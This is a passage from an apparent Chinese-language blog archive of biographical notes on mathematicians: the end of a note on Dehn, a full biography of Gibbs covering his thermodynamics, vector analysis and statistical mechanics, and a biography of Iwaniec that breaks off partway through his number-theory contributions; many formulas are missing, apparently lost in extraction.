problem）的讲义，构成了后来映射类群理论的早期核心文献；这些工作后来收入到 Stillwell 编的《Papers on group theory and topology》。 Stillwell 为附录《The Dehn–Nielsen theorem》写的摘要还指出，有一个重要定理虽归于 Dehn，却并未出现在他的正式发表作品中：闭可定向曲面的每个基本群自同构，实际上都可由的某个同胚诱导；最早已知的完整证明出现在尼尔森（Jakob Nielsen，1890-1959）1927 年的论文里。 今天这条结果通常被称为 Dehn–Nielsen 定理 ，后来又经 Baer 的工作得到现代形式。 与这一方向联系最紧的，是 Dehn twist （德恩扭转）。在曲面上一条简单闭曲线附近取一个环带，沿该曲线切开，把一侧旋转 再粘回，就得到一个新的自同胚。形式上它非常简单，但后来整个映射类群理论都以此为基本操作。 后来的文献进一步表明，曲面的映射类群可由有限多个 Dehn twists 生成；因此，Dehn 在 1910 年代到 1930 年代这些关于曲线系统、曲面自同胚和基本群自同构的工作，实际上为后来曲面理论奠定了基础。"},{"title":"","date":"2026-05-16T01:07:00.000Z","updated":"2026-05-16T01:10:00.000Z","comments":true,"path":"notes/person/20.html","permalink":"https://blog.mhuig.top/notes/person/20","excerpt":"","text":"Gibbs Gibbs 生平约西亚・威拉德・吉布斯（Josiah Willard Gibbs，1839-1903）是一位美国数学家、物理学家和化学家，职业生涯主要在 Yale 大学度过，他的研究领域涵盖数学物理、热力学、统计力学以及向量分析。 他最深远的贡献在于热力学、物理化学和统计力学的数学基础。 Gibbs 于 1839 年出生于 Connecticut 州的纽黑文（New Haven），他的家庭拥有深厚的学术底蕴，其祖先自 17 世纪起便在美国学术界和神学界享有盛誉。他的父亲乔赛亚（Josiah Willard Gibbs Sr.，1790-1861）是一位语言学家和神学家，自 1824 年至 1861 年逝世期间一直担任 Yale 大学神学院的圣学文献教授（professor of sacred literature）。他的母亲玛丽（Mary Anna Van Cleve）同样来自显赫的家族，并且是一位充满热情的业余鸟类学家。 Gibbs 在家中的五个孩子里排行第四，是唯一的男孩。在这个充满浓厚学术氛围的家庭中，他从小便潜移默化地培养了对智识探索的敬意。 然而，Gibbs 的童年并非毫无阴霾。他自幼体弱多病，曾因患上严重的猩红热（scarlet fever）而留下健康隐患；此外，他还患有散光，由于当时这一症状的矫正方法对眼科医生而言尚不熟悉，他甚至需要自行诊断并磨制合适的镜片。 1854 年，在当地著名的 Hopkins Grammar School 完成中学学业后，年仅 15 岁的 Gibbs 顺利进入 Yale College 学习。 他在中学时期被描述为 “友好但内向”，由于对学术的全身心投入加上身体孱弱，他极少参与学校的社交生活。进入大学后，他在本科期间便展现出非凡的数学直觉与古典学素养，多次荣获拉丁语和数学奖项。 1858 年，他以全校第二名的优异成绩（salutatorian）毕业，留在 Yale 大学的 Sheffield Scientific School 继续深造。 他的主要导师是天文学家和数学家休伯特・安森・牛顿（Hubert Anson Newton，1830-1896）。Newton 是美国早期数学发展的关键人物之一，他留学法国是沙勒（Michel Floréal Chasles，1793-1880）的学生，被后人称为 “美国数学的祖父”。 Newton 不仅为 Gibbs 提供了坚实的解析几何和天体力学训练，更成为了 Gibbs 终生的学术知己。他另一个学生是摩尔（Eliakim Hastings Moore，1862-1932）。 1863 年，24 岁的 Gibbs 以题为《论正齿轮轮齿的形状》（On the form of the teeth of wheels in spur gearing）的博士论文，获得了美国历史上的第一个工程学博士学位（也是美国历史上授予的第五个博士学位）。 在这篇论文中，Gibbs 运用几何学方法研究了齿轮的最优设计，展现出他偏爱以严格的数学方法处理工程问题的思维方式。 在此期间，Gibbs 的家庭接连遭遇变故。1855 年他的母亲去世，1861 年他的父亲离世。父母的遗产为 Gibbs 和他的两个姐姐留下了一笔丰厚的财富。美国南北战争（1861-1865）期间，由于身体虚弱及视力问题，Gibbs 未被征召入伍，而是留在 Yale 担任教师（tutor），前两年教授拉丁语，第三年教授自然哲学（即早期的物理学）。在此期间，他提出了新的力学长度测量单位的合理化方案，并于 1866 年获得了一项关于铁路刹车（railway brake）的专利。 1866 年（Riemann 于这一年去世），Gibbs 与两个姐姐一同远赴欧洲，开启了为期三年的学术朝圣之旅。当时的美国科学界以实证和应用为主，极度缺乏理论物理和纯数学的土壤，而欧洲当时是世界数学与物理的中心。 在巴黎，他参加了刘维尔（Joseph Liouville，1809-1882）、Michel Chasles 等顶尖数学家的讲座。 在柏林，他参加了魏尔斯特拉斯（Karl Weierstrass，1815-1897）、克罗内克（Leopold Kronecker，1823-1891）等顶尖数学家的讲座。 在海德堡，他受到物理学家基尔霍夫（Gustav Robert Kirchhoff，1824-1887）、亥姆霍兹（Hermann Ludwig Ferdinand von Helmholtz，1821-1894）以及化学家本生（Robert Wilhelm Eberhard Bunsen，1811-1899）的影响。 欧洲的理论研究氛围深刻影响了他的科学视野，使他的学术兴趣逐渐从应用机械转向理论物理与数学。 1869 年返回美国后，他回到了 New Haven。1871 年，Yale 大学正式任命他为数学物理学教授，这也是美国历史上的第一个此类教职。由于他拥有父母留下的遗产且当时尚未发表任何论文，他在担任该教席的前九年里从未领取过任何薪水。 1873 年，Gibbs 首次发表了论文。他在《Connecticut 学院学报》（Transactions of the Connecticut Academy）上发表了关于热力学量的几何表示的两篇论文 《流体热力学中的图形方法》（Graphical methods in the thermodynamics of fluids），和 《一种利用曲面几何表示物质热力学性质的方法》（A method of geometrical representation of the thermodynamic properties of substances by means of surfaces）。 这些论文引入了不同类型相图的使用，他在研究中喜欢借助相图辅助思考，而非使用机械模型，例如麦克斯韦（James Clerk Maxwell，1831-1879）在构建其电磁理论时使用的那些，后者可能无法完全代表其对应的现象。 尽管该期刊的读者几乎没人能理解 Gibbs 的工作，但他将重印本分享给了欧洲的通信者，并收到了 Cambridge 大学 Maxwell 的热烈回应。 1874 年，Maxwell 甚至亲自用粘土制作了一个模型来说明 Gibbs 的构想。随后，他用这个模型制作了两个石膏铸件，并将其中一个寄给了 Gibbs。 这个铸件现在陈列在 Yale 大学物理系。 Maxwell 在 1875 年出版的《热理论》（Theory of Heat）新版中加入了一章专门介绍 Gibbs 的工作，并在向伦敦化学学会的一次演讲中阐述了 Gibbs 图形方法的实用性。 然而，两人进一步的合作因 Maxwell 于 1879 年的早逝而终止。 随后，Gibbs 将他的热力学分析扩展到多相化学系统（即由多于一种形式的物质组成的系统），并考虑了各种具体应用。 他在一篇题为《论多相物质的平衡》（On the equilibrium of heterogeneous substances）的长文中描述了这项研究，该文由 Connecticut Academy 于 1875 年（140 页）和 1878 年（181 页）分为两部分出版。 这部作品超过三百页，包含整整七百个编号的数学方程，以克劳修斯（Rudolf Julius Emanuel Clausius，1822-1888）的一句话作为开篇，这句话表达了后来被称为热力学第一和第二定律的内容：“宇宙的能量是恒定的。宇宙的熵趋于最大。（The energy of the world is constant. The entropy of the world tends towards a maximum.）” Gibbs 在专著中严谨而巧妙地应用他的热力学技术来解释物理化学现象，解释并关联了以前大量孤立的事实和观测结果。 将 Gibbs 专著翻译成德文的奥斯特瓦尔德（Wilhelm Friedrich Ostwald，1853-1932）称 Gibbs 为 “化学能量学的奠基人（founder of chemical energetics）”。 根据现代评论者的说法： “人们普遍认为，它的发表是化学史上头等重要的事件…… 然而，它的价值被普遍认识却是多年以后的事了，这种延迟很大程度上是由于其数学形式和严谨的演绎过程使得任何人都难以阅读，尤其是对于它所最直接相关的实验化学学生来说更是如此。” ——J. J. O'Connor 和 E. F. Robertson，1997 Gibbs 一直无偿工作到 1880 年，当时位于 Maryland 州 Baltimore 新成立的 Johns Hopkins 大学向他提供了一个年薪 3000 美元的职位。当时，西尔维斯特（James Joseph Sylvester，1814-1897）正在 Johns Hopkins 任教（1876-1883）。 作为回应，Yale 大学向他提供了 2000 美元的年薪，他满意地接受了。 从 1880 年到 1884 年，Gibbs 致力于将格拉斯曼（Hermann Günther Grassmann，1809-1877）的外代数（exterior algebra）发展成适合物理学家需要的向量微积分。 出于这个目的，Gibbs 区分了两个向量的点积（dot product）和叉积（cross product），并引入了并矢（dyadic）（就是如今的两个向量的张量积（tensor product））的概念。 大约在同一时间，英国数学物理学家和工程师亥维赛（Oliver Heaviside，1850-1925）也独立地进行了类似的工作。 Gibbs 试图说服其他物理学家，向量法比当时英国科学家广泛使用的哈密尔顿（William Rowan Hamilton，1805-1865）的四元数法（quaternionic calculus）更为便捷。 Gibbs 关于向量微积分（vector calculus）的讲义于 1881 年和 1884 年私下印刷供他的学生使用，后来由 Gibbs 的博士生威尔逊（Edwin Bidwell Wilson，1879-1964）改编成教科书《向量分析》（Vector analysis），于 1901 年出版。这本书帮助普及了如今在电动力学和流体力学中广泛使用的 符号。 Wilson 后来成为了美国国家科学院副院长（1949-1953），还将 Gibbs 的热力学方法直接传授给 Nobel 经济学奖得主萨缪尔森（Paul Anthony Samuelson，1915-2009）。 Gibbs 还指导了费舍尔（Irving Fisher，1867-1947）于 1891 年撰写的关于数理经济学的博士论文。Gibbs 去世后，Fisher 资助出版了他的全集。 Gibbs 另一位杰出的学生是李・德富雷斯特（Lee De Forest，1873-1961），他后来成为无线电技术的先驱。De Forest 为真空三极管的发明者，被誉为 “无线电之父”。 从 1882 年到 1889 年，Gibbs 撰写了五篇关于物理光学的论文，研究了双折射和其他光学现象，并捍卫了 Maxwell 的光的电磁理论。 在他的光学工作中，正如他在热力学工作中一样，Gibbs 刻意避免推测物质的微观结构，并有意识地将他的研究限制在那些可以从广泛的一般原则和实验事实中得到解决的问题上。 Gibbs 创造了 “统计力学（statistical mechanics）” 这一术语，并在物理系统相应的数学描述中引入了一些关键概念，包括化学势（chemical potential，1876）和统计系综（statistical ensemble，1902）的概念。 Gibbs 根据由大量粒子组成的系统的统计特性推导出热力学定律的论述，发表在他极具影响力的教科书《统计力学的基本原理》（Elementary principles in statistical mechanics）中，该书于 1902 年出版，也就是他去世的前一年。 Gibbs 于 1880 年获得了美国艺术与科学院的 Rumford Prize。1897 年，他当选为英国皇家学会外籍会士。1901 年，他荣获了由英国皇家学会颁发的 Copley Medal（值得注意的是，Gibbs 之前欧洲访问过的 Bunsen（1860）、Chasles（1865）、Helmholtz（1873）、Weierstrass（1895）都拿过这个奖章），这是在 Nobel 奖设立之前全球科学界的最高荣誉，颁奖词表彰他 “首次将热力学第二定律应用于详尽探讨化学能、电能、热能以及外部做功之间的关系”。 Gibbs 的个人生活极其简单且平静。他终生未婚，与他的两位姐姐（Anna 和 Julia）以及 Julia 的丈夫艾迪生（Addison Van Name）共同生活在童年的家中。 他性格谦和、从不急躁，而且亲自承担家庭中的许多琐碎劳作。Gibbs 还是一位技艺精湛的骑手，人们经常在纽黑文看到他驾着姐姐的马车。1903 年 4 月 28 日，Gibbs 因急性肠梗阻在 New Haven 与世长辞，享年 64 岁。 贡献一、向量分析包括 Maxwell 在内的英国科学家，曾依赖 Hamilton 的四元数（quaternion）来表达物理量（如三维空间中具有大小和方向的电场和磁场）。 继克里福德（William Kingdon Clifford，1845-1879）在其《动力学基础》（Elements of dynamic，1878）中的工作之后，Gibbs 指出，四元数的乘积可以分解为两部分： 因此使用四元数会带来数学上的复杂性和冗余，为了简洁和便于教学，这些是可以避免的。 ↓ × → 1 i j k 1 1 i j k i i -1 k -j j j -k -1 i k k j -i -1 在 Yale 大学的课堂笔记中，他为一对向量定义了两种不同类型的乘积：点积（dot product） 和叉积（cross product） ，引入了现今通用的表示符号。 他还引入了并矢（dyadic，在现代多重线性代数符号中记为张量积 ）的概念。 通过 Edwin Bidwell Wilson 根据 Gibbs 笔记整理并于 1901 年出版的教科书《向量分析》（Vector analysis），Gibbs 在很大程度上促成了至今仍在电动力学和流体力学中使用的向量微积分技术的发展。 在 19 世纪 70 年代末研究向量分析时，Gibbs 发现他的方法类似于 Grassmann 在其 “多重代数（multiple algebra）” 中所采用的方法。 随后，Gibbs 试图推广 Grassmann 的工作，强调它既比 Hamilton 的四元数代数更具一般性，在历史上也更为优先。 为了确立 Grassmann 的优先权，Gibbs 说服 Grassmann 的后人在德国出版了 Grassmann 于 1840 年提交给柏林大学教职委员会的论文《潮汐理论》（Theorie der Ebbe und Flut），在这篇论文中，Grassmann 首次引入了后来被称为向量空间（线性空间）的概念。 正如 Gibbs 在 19 世纪 80 年代和 90 年代所倡导的那样，物理学家最终几乎抛弃了四元数，转而采用由他和 Oliver Heaviside 各自独立发展起来的向量方法。 Gibbs 将他的向量方法应用于确定行星和彗星轨道。他还发展了互为倒易的三向量组的概念，这一概念后来被证明在晶体学中具有重要意义。 二、Fourier 级数中的 Gibbs 现象设 为一个以 为周期的分段连续可微周期函数（piecewise continuously differentiable periodic function）。假设 在点 处具有一个有限跳跃间断点，其跳跃高度记为 。令 表示 的第 阶截断 Fourier 部分和（ 是 的 Fourier 系数）： Gibbs 在 1898 年的论文《Fourier 级数》（Fourier’s series）指出，当 时，部分和 在间断点 两侧的过冲（overshoot）和下冲（undershoot）不仅不会趋于零，反而会收敛到一个固定的非零比例。 确切地说，存在一个局部极大值点序列 ，使得： 这里 。积分 正是正弦积分 。 因此，过冲的具体数值可以精确表示为 ，其中 为著名的 Wilbraham‑Gibbs 常数（Wilbraham‑Gibbs constant）： 这意味着，无论取多少项 Fourier 级数，在间断点附近的局部极值始终会超出函数真实跳跃幅度的约 。 实际上这一现象最初由英国数学家（Henry Wilbraham，1825‑1883）在 1848 年的一篇论文《关于某个周期函数》（On a certain periodic function）中发现并分析。 Gibbs 现象具有深远的影响，为了压制这种由纯粹 Fourier 截断引发的病态现象，数学家们后续发展出了多种深刻的正则化理论，例如引入 Lanczos - 因子平滑、使用 Cesàro summation，以及利用 Gegenbauer 多项式等。 三、化学和电化学热力学Gibbs 于 19 世纪 70 年代发表的论文引入了用熵 来表达系统内能 的思路，作为通常状态变量（体积 、压强 、温度 ）的补充。 他还引入了某种化学物类的化学势（chemical potential）概念，将其定义为：在熵和体积保持不变的情况下，该物类分子数 每增加一个所导致的 的增加率。 正是 Gibbs 首次将热力学第一和第二定律相结合，把闭合系统内能的微元变化 表达为下述形式： 其中 为绝对温度， 为压强， 为熵的微元变化， 为体积的微元变化。最后一项是对化学反应中所有化学物类求和， 为第 种物类的化学势， 为该物类摩尔数的微元变化。 通过对此表达式取 Legendre 变换，可以得到后来被称为焓（enthalpy）的函数 ，以及 Gibbs 自由能（Gibbs free energy） 的表达： 与之相比较的是 Helmholtz 自由能（Helmholtz free energy） ： 当某化学反应的 Gibbs 自由能为负时，该反应将自发进行；当化学系统处于平衡时，Gibbs 自由能的变化为零。在反应物处于其标准状态时，平衡常数与自由能变化之间存在简单关系。 化学势通常被定义为偏摩尔 Gibbs 自由能（partial molar Gibbs free energy）： Gibbs 还得到了后来被称为 “Gibbs‑Duhem 方程” 的结果： 其中 是成分 的摩尔数， 是该成分的化学势的增量， 是熵， 是绝对温度， 是体积， 是压强。 在以电动势（electromotive force） 和转移电荷量（transferred charge） 为特征的电化学反应中，Gibbs 的基本方程变为： 论文《关于异质物质的平衡》（On the equilibrium of heterogeneous substances，1874‑1878）的发表，如今被视为化学发展史上的一座里程碑。 在该论文中，Gibbs 为吸附、电化学以及流体混合物中的 Marangoni 效应（Carlo Giuseppe Matteo Marangoni，1840-1925）等多种传导现象建立了严格的数学理论。他还提出了相律（phase rule）： 该方程刻画了由 种组分构成的 相平衡混合物中可独立控制的变量数 。相律在冶金、矿物学、岩石学等众多领域中都极为有用，也可应用于物理化学的多种研究问题。 四、统计力学Gibbs 与 James Clerk Maxwell 和玻尔兹曼（Ludwig Eduard Boltzmann，1844-1906）一道，创建了 “统计力学（statistical mechanics）” 这一理论物理分支。 该术语正是由他所创，用以根据由大量粒子组成的系统所有可能物理状态的系综（ensembles）的统计性质来解释所观测到的热力学性质。 他引入了 “力学系统的相（phase of a mechanical system）” 的概念，并用它定义了微正则系综（microcanonical ensemble）、正则系综（canonical ensemble）和巨正则系综（grand canonical ensemble）；这些系综都与 Gibbs 测度（Gibbs measure）相关。 由此他得到了比 Maxwell 和 Boltzmann 此前所获更为一般的多粒子系统统计性质的表述。 Gibbs 通过将任意系综的熵定义为如下形式，推广了 Boltzmann 对熵的统计解释： 其中 为 Boltzmann 常数，求和遍及所有可能的微观状态， 为相应微观状态的概率。这一公式后来在 Claude Shannon 创立的信息论中起到核心作用，因此常被视为热力学的现代信息论解释的基础。 正如 Henri Poincaré 在 1904 年所写：尽管 Maxwell 和 Boltzmann 此前已用概率论的语言解释了宏观物理过程的不可逆性，但 “真正最为透彻地看清这一点的人，是 Gibbs，体现在他那本因稍显艰深而读者甚少的《统计力学的基本原理》（Elementary principles of statistical mechanics）之中”。 Gibbs 对不可逆性的分析、对 Boltzmann - 定理的表述以及对遍历假设（ergodic hypothesis）的阐述，都对二十世纪的数学物理产生了重要影响。Gibbs 引入的系综概念，也为后来的概率论发展提供了重要框架。 Gibbs 清楚地意识到，将能量均分定理（equipartition theorem）应用于由经典粒子构成的大型系统时，无法解释固体和气体比热容的实验结果。他据此指出，这正是将热力学建立在 “关于物质构造的假设” 之上所暗含风险的明证。 Gibbs 本人所构建的统计力学框架，即基于宏观上不可分辨的微观状态的系综，在量子力学揭示自然界的微观规律遵循量子规则（而非他及其同时代人所熟悉的经典规律）之后，几乎可以原样保留下来。 他对 “Gibbs 佯谬（Gibbs paradox）”（关于气体混合熵）的解决，如今常被视为对量子物理所要求的粒子不可分辨性的预示。 五、Gibbs 不等式在概率论与信息论中，Gibbs 不等式是描述信息增益的核心定理： 设 与 为定义在同一有限离散样本空间上的两个合法概率分布，即满足对于所有 有 ， 且 ， 。则： （此处的对数可取任意大于 1 的底数）。该不等式取等号的充分必要条件是：对于所有的 ，均有 。换句话说，离散概率分布 的信息熵（information entropy）必小于或等于它在分布 下的交叉熵（cross entropy）。 在现代机器学习和数理统计中，等式两侧之差正是著名的 Kullback-Leibler divergence，于是 Gibbs 不等式可写成： Gibbs 的这一发现为半个世纪后 Claude Shannon 创立信息论奠定了深刻的概率论基础。"},{"title":"","date":"2026-04-04T01:07:00.000Z","updated":"2026-05-03T01:10:00.000Z","comments":true,"path":"notes/person/9.html","permalink":"https://blog.mhuig.top/notes/person/9","excerpt":"","text":"Iwaniec Iwaniec 生平亨里克・伊万涅茨（Henryk Iwaniec，1947- ）是一位波兰裔美国数学家，出生于波兰东北部靠近波罗的海的工业城市埃尔布隆格（Elblag）。他比他的双胞胎兄弟塔德乌什・伊万涅茨（Tadeusz Iwaniec，1947- ；后来也成为了一位杰出的分析学家）早出生八个小时。他们的家庭并没有任何学术背景，父母均为普通阶层，但他的父母，尤其是母亲，为他们营造了极佳的学习氛围，不断鼓励他们并对他们寄予厚望。 童年时期的 Iwaniec 兄弟并没有表现出对数学的特殊偏好。为了将来能拥有一份安稳且高薪的职业，兄弟俩在 1961 年进入了 Elblag Technical High School 学习，这所学校的教学重点是蒸汽涡轮机等机械与工程技术。 然而在这所技术高中里，他们偶然发掘了对数学的热情。起初这主要归功于各种数学竞赛。他们先参加校内竞赛，后被校长科乔尔科夫斯基（Aleksander Kociołkowski）推荐，每月前往格但斯克（Gdańsk）参加更高级别的数学俱乐部。 到了高中三年级，兄弟俩开始参加数学奥林匹克竞赛，并立刻取得了惊人的成功。两人均代表波兰参加了 1965 年和 1966 年的国际数学奥林匹克竞赛（IMO），并在 1966 年双双斩获银牌。 由于在竞赛中的卓越表现，他们的高中数学老师安杰伊・温德克（Andrzej Wendecker）对他们给予了特殊的关照。 Iwaniec 后来回忆道，Wendecker 是一位极其出色的教育家，他有一个充满戏剧性的习惯：当他叫一个学生去黑板前答题时，他会把该学生的笔记本放在讲桌的边缘，如果学生回答错误，他就会把笔记本往边缘推一点，直到它掉在地上；而 Iwaniec 兄弟的笔记本从未掉落过。 最终，这位开明的老师免除了他们的日常作业和考试，让他们有充足的课堂时间去探索自己真正感兴趣的数学领域。 凭借在 IMO 中的优异成绩，Iwaniec 兄弟在 1966 年免试进入了 Warsaw 大学数学系。这一免试资格让 Henryk Iwaniec 感到如释重负，因为这让他得以避开当时极其令人头疼的俄语必修入学考试。 在大学期间，虽然兄弟俩对数学的热情如出一辙，但为了保持智识上的独立性，他们刻意决定在未来的研究中避开彼此的领域，选择不同的专业方向。 在大学的第一年结束时，Iwaniec 展露出的非凡才华引起了波兰著名数论学家辛泽尔（Andrzej Bobola Maria Schinzel，1937-2021）的注意。Schinzel 本人是谢尔宾斯基（Wacław Franciszek Sierpiński，1882-1969）的学生。Schinzel 邀请 Iwaniec 参加他在波兰科学院数学研究所主持的数论研讨会，并鼓励他在会上发表演讲。 在 Schinzel 的引导下，Iwaniec 迅速被解析数论深深吸引。他发现，这门学科能够将极其广泛且多样的数学工具汇聚在一起，用来解决具有纯粹算术风味的经典问题。 他在本科期间特别受到了苏联数学家林尼克（Yuri Vladimirovich Linnik，1915-1972）工作的震撼，并开始独自钻研筛法（Sieve methods）理论。 在 Schinzel 提供宏观建议和论文编辑帮助下，Iwaniec 展现出了惊人的早熟：在 1971 年本科毕业前，他就已经有两篇关于筛法的重要论文被学术期刊接受发表。 这两篇论文顺理成章地分别成为了他的硕士论文（1971 年）和博士论文（1972 年）。 1972 年春，Iwaniec 在 Warsaw 大学顺利通过了博士论文答辩，其博士生导师正是 Andrzej Schinzel。 关于他的博士答辩阶段，有一段极其有趣且广为流传的轶事。在当时的波兰，获得博士学位的一个硬性条件是必须通过马克思主义哲学的考试。 由于 Iwaniec 将全部精力投入于数学，从未去听过相关的哲学课程，他只能硬着头皮去见科学哲学教授瓦迪斯瓦夫・克拉耶夫斯基（Władysław Krajewski，1919-2006）。Krajewski 教授最初问他什么是 “唯我论（solipsism）”，Iwaniec 凭借之前碰巧读到的一点知识勉强回答了上来。 接着教授问他是否喜欢物理，得到肯定答复后，他解释 “Heisenberg 测不准原理（Heisenberg's uncertainty principle）”。Iwaniec 抓住机会，滔滔不绝地讲了很久，试图借此耗尽考试的规定时间。 然而教授察觉到了他的意图，温和地打断他说：“你知道，这毕竟是一场马克思主义哲学考试，我必须问你那个领域的问题。请告诉我，根据普列汉诺夫（Plekhanov）的观点，唯物主义和经验批判主义之间有什么区别？” 面对这个问题，Iwaniec 大脑一片空白，彻底崩溃。幸运的是，这位仁慈的教授笑着问他：“如果我把你这三个问题的成绩平均一下，算你及格，你觉得公平吗？” Iwaniec 就这样有惊无险地拿到了他的博士学位。 从 1971 年本科毕业到 1983 年离开波兰之前，Iwaniec 一直在波兰科学院数学研究所担任研究职务。这里的纯科研职位让他免于繁重的教学任务，能够全心全意地投入到深度的数学思考中。 1976 年，他在该研究所完成了 Habilitation（任职资格论文）的答辩。在此期间，尽管当时波兰的政治环境对出国访问有诸多限制，但他依然抓住了前往多国交流的机会。 为了在国际学术界立足，他意识到必须提高自己的英语口语水平，而这奇妙地发生在他访问意大利期间。 1976 至 1977 年，他获得了 Accademia Nazionale dei Lincei 的奖学金，前往意大利 Pisa 的 Scuola Normale Superiore（比萨高等师范学院）访学。正是在这里，他结识了加拿大数学家约翰・本杰明・弗里德兰德（John Benjamin Friedlander），并极大提升了他的英语。 Iwaniec 与 Friedlander 不仅成为终生挚友，还开启了一段长达数十年、极具传奇色彩的合作，两人共同发表了六十余篇论文，他们的合作构成了 Iwaniec 学术生涯的核心主体。 1979 年，他受邀前往法国 University of Bordeaux 为研究生讲学，这促成了他与法国解析数论学派的长期合作，特别是与艾蒂安・富夫里（Étienne Fouvry，1953- ）以及让 - 马克・德苏耶（Jean-Marc Deshouillers，1946- ）建立了深厚的友谊与科研纽带。1983 年，Iwaniec 晋升为正教授，并当选为波兰科学院通讯院士。 同年，Iwaniec 迎来了人生的重大转折。1983 年，他带着家人离开波兰前往美国，最初在普林斯顿的高等研究院（IAS）担任访问学者（1983–1984，1985–1986），随后在 Michigan 大学（1984 年夏）担任访问教授，并在 Colorado Boulder 大学（1984 年秋）担任 Ulam Distinguished Visiting Professor。 在 IAS 期间，他与 John Friedlander、恩里科・邦别里（Enrico Bombieri，1940- ）密切合作，将他在波兰和法国萌芽的思想进一步推向巅峰。 1987 年 1 月，他正式接受了 Rutgers 大学的 New Jersey State Professor of Mathematics 席位，并在此任职至今。他后来正式成为美国公民，同时保留了波兰国籍。 Iwaniec 凭借其在数论领域深邃而革命性的贡献获得了众多荣誉。 他于 1995 年当选为美国艺术与科学院院士，2006 年当选为美国国家科学院院士，并于 2012 年成为美国数学会会士。 他获得了 2001 年的 Ostrowski Prize： 获奖时间 获奖人 获奖时间 获奖人 获奖时间 获奖人 1989 de Branges 1991 J. Bourgain 1995 A.J. Wiles 2001 H. IwaniecP. SarnakR. L. Taylor 2005 B. Green陶哲轩 2013 张益唐 2015 P. Scholze 2021 T. Austin 2025 王虹 Ostrowski Prize 部分获奖者 2002 年的 Cole Prize in Number Theory： 获奖时间 获奖人 获奖时间 获奖人 获奖时间 获奖人 1931 H. Vandiver 1941 Chevalley 1951 Paul Erdos 1956 J.T. Tate 1962 IwasawaB.M. Dwork 1977 Shimura 1982 LanglandsB. Mazur 1987 GoldfeldB. GrossD. Zagier 1992 K. RubinP. Vojta 1997 A.J. Wiles 2002 H. IwaniecR. Taylor 2025 P. Sarnak 2014 张益唐D. GoldstonJ. PintzC.Y. Yildirim 2020 J. Maynard 2026 F. CalegariV. Dimitrov唐云清 Cole Prize in Number Theory 部分获奖者 2011 年的 Leroy P. Steele Prize in Mathematical Exposition（表彰其长期以来卓越的数学论著，特别是《谱理论和自守型引论》（Introduction to the spectral theory of automorphic forms）与《经典自守型的专题》（Topics in classical automorphic forms），颁奖词赞誉其著作 “已成为该领域的经典，是学生们的基本资源”。 2015 年的邵逸夫奖（与法尔廷斯（Gerd Faltings，1954-）共同获得，表彰他们在数论领域引入和发展基本工具，促使他们和其他数学家解决了长期存在的经典问题） 2017 年的 Doob Prize（与 John Friedlander 共同获得，表彰他们合著的关于筛法的集大成之作《Opera de Cribro》（中文翻译很有意思，叫《婴儿床歌剧院》））。 Iwaniec 在培养学生和提携后辈方面同样成就斐然。他以其极具感染力的数学品味、深厚的解析功底和慷慨的合作精神，指导并影响了一大批杰出的数学家，其中包括 Étienne Fouvry 和赫尔夫戈特（Harald Andrés Helfgott，1977- ）。 2013 年，Helfgott 证明了 Goldbach 弱猜想（Goldbach weak conjecture）—— 每个大于 5 的奇整数都可表示为三个素数之和。 在数学研究之外，Iwaniec 的个人生活充满了温情与广泛的兴趣。在 Warsaw 大学本科学习的第一年，他就结识了同班同学卡塔齐娜（Katarzyna），两人因共同的学术背景坠入爱河，并于 1971 年毕业后立刻步入了婚姻。 他们育有两个女儿：大女儿 Irena 在纽约著名的 Cooper Union 学习艺术；小女儿 Anna 则走上了科学的道路，在 Caltech 学习工程，随后获得了医学工程的博士学位并成为教授。 他为人幽默、谦逊，且对数学的美学和宇宙的内在秩序有着近乎宗教般的敬畏。 英国作家 K. Sabbagh 在其著作中记录了 Iwaniec 的一段名言，称他谈及素数时听起来 “仿佛已经准备好与路西法（Lucifer，即魔鬼）探讨交易条款了”：“我愿意用我在数学上所知道的一切，去换取黎曼猜想的证明。那是极其华丽壮美的瑰宝（It's gorgeous stuff）。我唯一担心的是，我自己会无法理解它的证明。那将是最糟糕的事情……” Henryk Iwaniec 的数学工作标志着现代解析数论在方法论上的一次重大飞跃。他将高维几何、代数几何中的 Weil 猜想、自守形式的谱理论与传统的组合筛法进行了极其深度的融合。 André Weil (1906-1998) 贡献一、Friedlander-Iwaniec 定理素数分布理论中最艰深的问题之一是证明由多项式生成的序列中包含无穷多个素数。 对线性多项式 ， Dirichlet 的算术级数素数定理（Dirichlet's theorem on arithmetic progressions） 已给出肯定答案（对互素的正整数 、 ，存在无穷多个形如 的素数）；但对于次数 的多项式，传统的分析方法遇到了不可逾越的高墙 —— 奇偶性障碍（parity problem） 。 Johann Peter Gustav Lejeune Dirichlet (1805-1859) 1949 年，塞尔伯格（Atle Selberg，1917-2007）深刻地指出，如果在应用筛法时仅仅依赖于序列在同余类中分布的渐近信息（即所谓的 Type I 信息），那筛法在本质上无法区分具有偶数个素因子和奇数个素因子的整数。 具体而言，筛法的目标函数通常涉及 Möbius 函数 ： 无平方数因子且有平方数因子 或 Liouville 函数 ， 在缺乏对这些函数在序列上振荡的非平凡控制时，纯粹的上界和下界筛法会陷入死胡同。这导致了诸如 “是否存在无穷多个形式为 的素数” 之类的问题，在纯粹的经典筛法下是无解的。 1998 年，Iwaniec 与合作者 John Friedlander 在《Annals of Mathematics》上发表了划时代的论文《多项式 包含了它的素数》（The polynomial captures its primes）。他们成功构造了一种 “对奇偶性敏感” 的渐近筛法，首次打破了奇偶性障碍。 定理（Friedlander–Iwaniec，1998） 存在无穷多个素数 可以表示为 的形式，其中 。更精确地，令 为 von Mangoldt 函数（当 且 为素数时取值为 ，否则为 ），则对于 ，有如下渐近公式： 这一结果的非凡之处在于目标序列的极端稀疏性。为了打破奇偶性障碍，Iwaniec 和 Friedlander 引入了奇偶性敏感筛法，其核心在于不仅需要对 Type I（线性算术级数分布）有极好的控制，还必须提取深度的 Type II 信息（双线性形式估计）。 为了严格控制这些双线性形式，他们极大地扩展了 Bombieri 的渐近筛法框架，并深入利用了代数几何中由于 Deligne 证明 Weil 猜想所带来的对高维特征和的最优界限。 这一定理后来激发了希思 - 布朗（David Rodney Heath-Brown，1952- ）在 2001 年证明 包含无穷多素数，以及梅纳德（James Alexander Maynard，1987- ）在不完全范数形式（incomplete norm forms）上的突破。 二、Bombieri-Friedlander-Iwaniec 定理解析数论中另一个极其核心的问题是素数在算术级数中的均值分布。设 表示不超过 且与 模 同余的素数个数： 根据经典的 Siegel-Walfisz 定理 这里 为对数积分函数（logarithmic integral function） 是 Euler totient 函数。 著名的 Bombieri-Vinogradov 定理（1965）断言，对于任意 和 ，有： 这说明素数在算术级数中的分布水平（level of distribution） 至少可以达到 。这在许多应用中可作广义 Riemann 猜想（GRH）的完美替代品。然而，著名的 Elliott-Halberstam 猜想大胆地断言该分布级别实际上可以被推进到 